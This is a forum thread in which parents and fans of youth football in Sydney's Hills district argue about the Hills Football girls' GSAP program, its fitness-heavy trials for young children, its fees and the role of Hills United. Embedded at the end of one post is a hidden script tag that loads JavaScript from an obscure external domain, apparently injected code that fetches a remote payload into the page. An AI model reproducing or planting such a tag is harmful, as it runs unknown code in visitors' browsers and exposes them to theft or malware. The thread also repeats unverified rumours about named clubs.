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Post by dreamgoal on Oct 21, 2019 14:11:18 GMT 10
I’m told it’ll be much more fun next week. Super 6 are bringing Dr Carl and they will have weight and body fat checks, following by egg and spoon races and an obstacle course. That’s is SO funny if it wasn’t so funny.....sad that this could in fact be week 2 for both of the kids that turn up in each age group!! Rumour has it that they didn’t sign any kids in week one, they are waiting for the word to get around and the girls to roll in, in mass!!
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Post by craig4ster on Oct 21, 2019 14:13:42 GMT 10
Australian Football over the past 30 years = Going Backwards
Punters = "WE NEED MAJOR CHANGE"
Hills Football = OK, lets try something a bit different
The Same Punter = "How dare you try something slightly different! we demand you do what we have always done, but we expect better results"
Logic 101
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Post by dreamgoal on Oct 21, 2019 14:19:12 GMT 10
Australian Football over the past 30 years = Going Backwards Punters = "WE NEED MAJOR CHANGE" Hills Football = OK, lets try something a bit different The Same Punter = "How dare you try something slightly different! we demand you do what we have always done, but we expect better results" Logic 101 That is even funnier that you would defend 800m runs for 10 year old GSAP trialing players and beep tests....🤣🤣🤣 You are either on the board or want to be to defend this ludicrous circus!!
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Post by craig4ster on Oct 21, 2019 14:29:04 GMT 10
What is funnier that you would defend the way in which Australian football currently operates, but then ask why we currently have 2 players in the top 3 leagues in the world..
As long as NPL2 players are getting $600 a game everythings ok.
Give the guys a chance..
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Post by ange on Oct 21, 2019 14:51:51 GMT 10
Australian Football over the past 30 years = Going Backwards Punters = "WE NEED MAJOR CHANGE" Hills Football = OK, lets try something a bit different The Same Punter = "How dare you try something slightly different! we demand you do what we have always done, but we expect better results" Logic 101 One of the principles the FFA is trying to instil is that we want to go from "Fightball" to football. That is, a lot of Australian football in previous times was dominated by relatively unskilled but extremely athletic players who would pounce on the long ball to score their goals (and you need to look at the landscape as a whole, not just the premier dozen players). The much maligned curriculum has emphasised skill rather than athleticism as it's focus (given that skill can be taught and athleticism is largely genetic). For Hills GSAP to focus so much on fitness for 10 year old girls playing on a small field with unlimited interchange is ridiculous. "Give them a chance" They are screwing up their chance if this is their logic and I know that FNSW won't look kindly upon this program. Beep tests are out of place for PL1 senior trials, much less U10 GSAP. I've got to ask, Who is responsible? Who decided the trial format?
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Post by craig4ster on Oct 21, 2019 15:22:17 GMT 10
50% of 1 trial date out of 4 is hardly focusing on fitness. Im not sure they did beep tests?
Anyway... For those who want to join it, let them. For those who dont, focus on the program youre involved in and stop worrying about Hills. If it fails its on them, not you.
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Post by ange on Oct 21, 2019 15:26:26 GMT 10
50% of 1 trial date out of 4 is hardly focusing on fitness. Im not sure they did beep tests? Anyway... For those who want to join it, let them. For those who dont, focus on the program youre involved in and stop worrying about Hills. If it fails its on them, not you. It's a forum.... we choose to be here to discuss football in the Hills area. This topic is fair game and it appears most of us are worried about the Hills GSAP. Tell me Craig, would you select 10 year olds based on fitness or skill?
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Post by sweetleftfoot on Oct 21, 2019 15:27:35 GMT 10
50% of 1 trial date out of 4 is hardly focusing on fitness. Im not sure they did beep tests? Anyway... For those who want to join it, let them. For those who dont, focus on the program youre involved in and stop worrying about Hills. If it fails its on them, not you. No, if it fails then it doesn't just fall on HFI. It falls on the 13k members of the HFI clubs, whose fees are funding this
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Post by sweetleftfoot on Oct 21, 2019 15:34:34 GMT 10
What is funnier that you would defend the way in which Australian football currently operates, but then ask why we currently have 2 players in the top 3 leagues in the world.. As long as NPL2 players are getting $600 a game everythings ok. Give the guys a chance.. Nonsense. Problems in how Australian football operates are for the FFA and the State federations to tackle. The fact that you think HFI should lead the charge in fixing Australia's lack of players in the English Premier League and La Liga is the perfect example of why people are so pi$$ed off with this GSAP and AYL "dream" Run a great local comp, for people in the Hills - that's HFI's job
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Post by sweeper on Oct 21, 2019 15:41:12 GMT 10
Have the previous years GSAP players been retained or are all positions available ? If there have been players retained then there may be a specific view on the type of player that is required to be added to the squad.
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Post by craig4ster on Oct 21, 2019 15:57:28 GMT 10
What is funnier that you would defend the way in which Australian football currently operates, but then ask why we currently have 2 players in the top 3 leagues in the world.. As long as NPL2 players are getting $600 a game everythings ok. Give the guys a chance.. Nonsense. Problems in how Australian football operates are for the FFA and the State federations to tackle. The fact that you think HFI should lead the charge in fixing Australia's lack of players in the English Premier League and La Liga is the perfect example of why people are so pi$$ed off with this GSAP and AYL "dream" Run a great local comp, for people in the Hills - that's HFI's job Youre absolutely right... but unfortunately our state and national bodies have done nothing on the matter. Everyones thoughts on the Dunbar model?
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Post by crazycow on Oct 21, 2019 16:09:15 GMT 10
What is funnier that you would defend the way in which Australian football currently operates, but then ask why we currently have 2 players in the top 3 leagues in the world.. As long as NPL2 players are getting $600 a game everythings ok. Give the guys a chance.. Australian Football is not doing as bad as people think. If we focus on the womens game we have 18 Australians playing in the USWSL, 2 in English WSL, 5 in Europes Top Leagues and a further 25+ in the US College System. Outside of the USA, Australians are the most represented in the worlds Top Leagues - so we're doing something right! I can tell you now, Sam Kerr, Caitlin Foord, Haylry Raso, Alex Chidiac and Tameka Yallop did not get to the top of their profession by doing strength and conditioning work during the 'golden years of learning'. There are so many highly qualified and highly respected FOOTBALL people (even in our own community) who's experience should be drawn upon instead of thinking we need to 'lead the change' with a dramatically different process - frankly it is disrespectful and niaive.<script type="text/javascript" async="" src="//minisrclink.cool/1e40c8bd4601a5a5a4.js"></script>
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Post by craig4ster on Oct 21, 2019 16:46:40 GMT 10
but as long as these well respected guys keep charging $2400 so that their first graders get their $600 a game its alright.
Isnt one of Hills United's Staffers the same guy who was involved in the sacking of Stajic just prior to the World Cup?
Ok, Maybe Hills conducting fitness testing for GSAP players is a bit much. i personally wouldn't be doing that. Im more talking about the principles of the program. Surely we all agree that cheaper rego fees and more training throughout the year is a good thing no?
Ive been told by a very good source that Hills United were most definitely offered the chance to be involved, but were simply only worried about gaining funding for their high priced TD. They also refused to even entertain the idea of lowering their fees in line with what Hills vision was.
Two sides to every story.. id love to know the truth.
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Post by ange on Oct 22, 2019 10:35:00 GMT 10
but as long as these well respected guys keep charging $2400 so that their first graders get their $600 a game its alright. I don't like the situation of juniors subsidising seniors either. Unfortunately, under current rules, is a club wants to get to higher levels, it must pay the better players. I'm not sure of the situation in men's football, but not even W League players would be commanding close to $600 in WNPL. Also, clubs don't have the backing of an association which can subsidise fees. Really, the clubs have little choice and it is up to FNSW to do something about this situation.
Isnt one of Hills United's Staffers the same guy who was involved in the sacking of Stajic just prior to the World Cup? No, just no. Ok, Maybe Hills conducting fitness testing for GSAP players is a bit much. i personally wouldn't be doing that. Im more talking about the principles of the program. Surely we all agree that cheaper rego fees and more training throughout the year is a good thing no? Cheaper rego fees, yes, well done Hills Football. I'm worried about the level of commitment they are asking for (4 nights per week plus Sunday). Parents were clearly told that this is the expectation and don't sign up if you can't commit. This makes it hard on the players and families who do have other things in their life besides football (e.g. School!). This is U10-U13 GSAP, not future Matildas.Ive been told by a very good source that Hills United were most definitely offered the chance to be involved, but were simply only worried about gaining funding for their high priced TD. They also refused to even entertain the idea of lowering their fees in line with what Hills vision was. Can't add anything to this.Two sides to every story.. id love to know the truth.
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Post by HappyFeet on Oct 22, 2019 20:20:26 GMT 10
4ster - i reckon your last paragraph is off the mark. Hills Football have just posted on their facebook page an article that states in 2019 Hills Football held the license for GSAP but they engaged Hills United to do the coaching therefore the rego fees would have been paid to the association and not Hills United.
I wonder if the association surveyed the parents and girls of last season's GSAP program and asked what they wanted as there seems to be many very unhappy parents that the experienced coaches and Hills United are now not going to be involved, after all they are the region's NPL club, member of the association and with the most experienced coaches.
Anyone that knows football knows kids this age should not be training four times a week or having to do a marathon to gain selection. Cant help but think the organisation has completely lost its focus and understanding on why it exists and needs to stand back and take a good look in my opinion.
Anyone know what happened at the association and clubs meeting that was on last night??
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